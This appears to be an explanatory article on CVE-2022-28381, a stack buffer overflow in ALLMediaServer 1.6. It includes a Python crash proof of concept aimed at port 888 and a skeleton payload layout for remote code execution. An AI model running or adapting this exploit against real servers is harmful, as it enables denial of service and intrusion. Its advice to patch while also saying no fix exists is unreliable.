In today’s digital world, media servers can often be overlooked in security assessments. However, they can pose significant risks if vulnerabilities go unpatched. One such risk was identified as CVE-2022-28381 in ALLMediaServer 1.6, where a simple but dangerous stack-based buffer overflow allows attackers to run arbitrary code on affected systems. In this article, we’ll break down how this vulnerability works, how it can be exploited, and what you can do about it, all in clear language.

Root cause: The server does not properly check the length of received data, leading to overflow

- Related to: CVE-2017-17932

This means a remote attacker could send a specially crafted network packet to the server—one that contains a very long string. Because the program doesn’t check the length, the string can overflow the memory buffer on the stack, letting an attacker overwrite code flow and potentially execute whatever code they want.

The server listens for client connections on TCP port 888 by default.

- When a client connects and sends data, it is copied into a fixed-size buffer (the memory space set aside to hold that data).
- If the data sent is larger than the buffer, it spills over (“overflows”) into adjacent memory areas.
- If attackers craft their data just right, they can overwrite memory that controls how the program runs, like the return address on the stack.

Proof of Concept: Exploiting the Vulnerability

We’ll show a simple example of how to crash the server by overflowing the buffer. _(Note: This is for educational purposes only.)_

import socket

target_ip = "TARGET_IP"   # Replace with target's IP address
target_port = 888         # Default port used by ALLMediaServer

# Create a long string to overflow the buffer (size may require adjustment)
payload = b"A" * 300

with socket.create_connection((target_ip, target_port)) as s:
    print("[*] Sending overflow payload...")
    s.sendall(payload)
    print("[*] Payload sent!")

What happens:
If the server is unpatched and running, sending this payload will likely cause Mediaserver.exe to crash due to buffer overflow. With deeper analysis, you could replace the string of "A"s with shellcode for remote code execution, but this requires knowledge of the server's memory layout and addresses.

For example, you might see an exploit payload like this

payload = b"A" * OFFSET         # Filler to reach return address
payload += RET_ADDR             # Overwrite return address to jump to shellcode
payload += b"\x90" * 16         # NOP sled
payload += SHELLCODE            # Actual code to execute

*Finding the correct OFFSET and RET_ADDR depends on debugging and analyzing the server binary on the target platform.*

References

- CVE-2022-28381 at NVD
- Exploit Database #50922: ALLMediaServer 1.6 - Buffer Overflow (SEH)
- CVE-2017-17932 - Related issue
- ALLMediaServer homepage

Mitigation and Recommendations

- Patch Immediately: No official fix is known, but discontinuing use or restricting network access to Mediaserver.exe is highly recommended.

Conclusion

CVE-2022-28381 in ALLMediaServer 1.6 is a critical remote vulnerability that can have severe consequences if left unpatched. With simple Python code and knowledge of basic networking, anyone can crash — or worse, take over — a vulnerable server from anywhere on the internet. For media server admins, now is the time to patch, restrict, or retire ALLMediaServer 1.6. Stay safe and always update your software!


*This article was written exclusively for this session, based on information available as of 2024.*


*If you want to learn more about common vulnerabilities and exploit development, check out the OWASP Top Ten and CVE Details.*

Timeline

Published on: 04/03/2022 19:15:00 UTC
Last modified on: 04/09/2022 15:45:00 UTC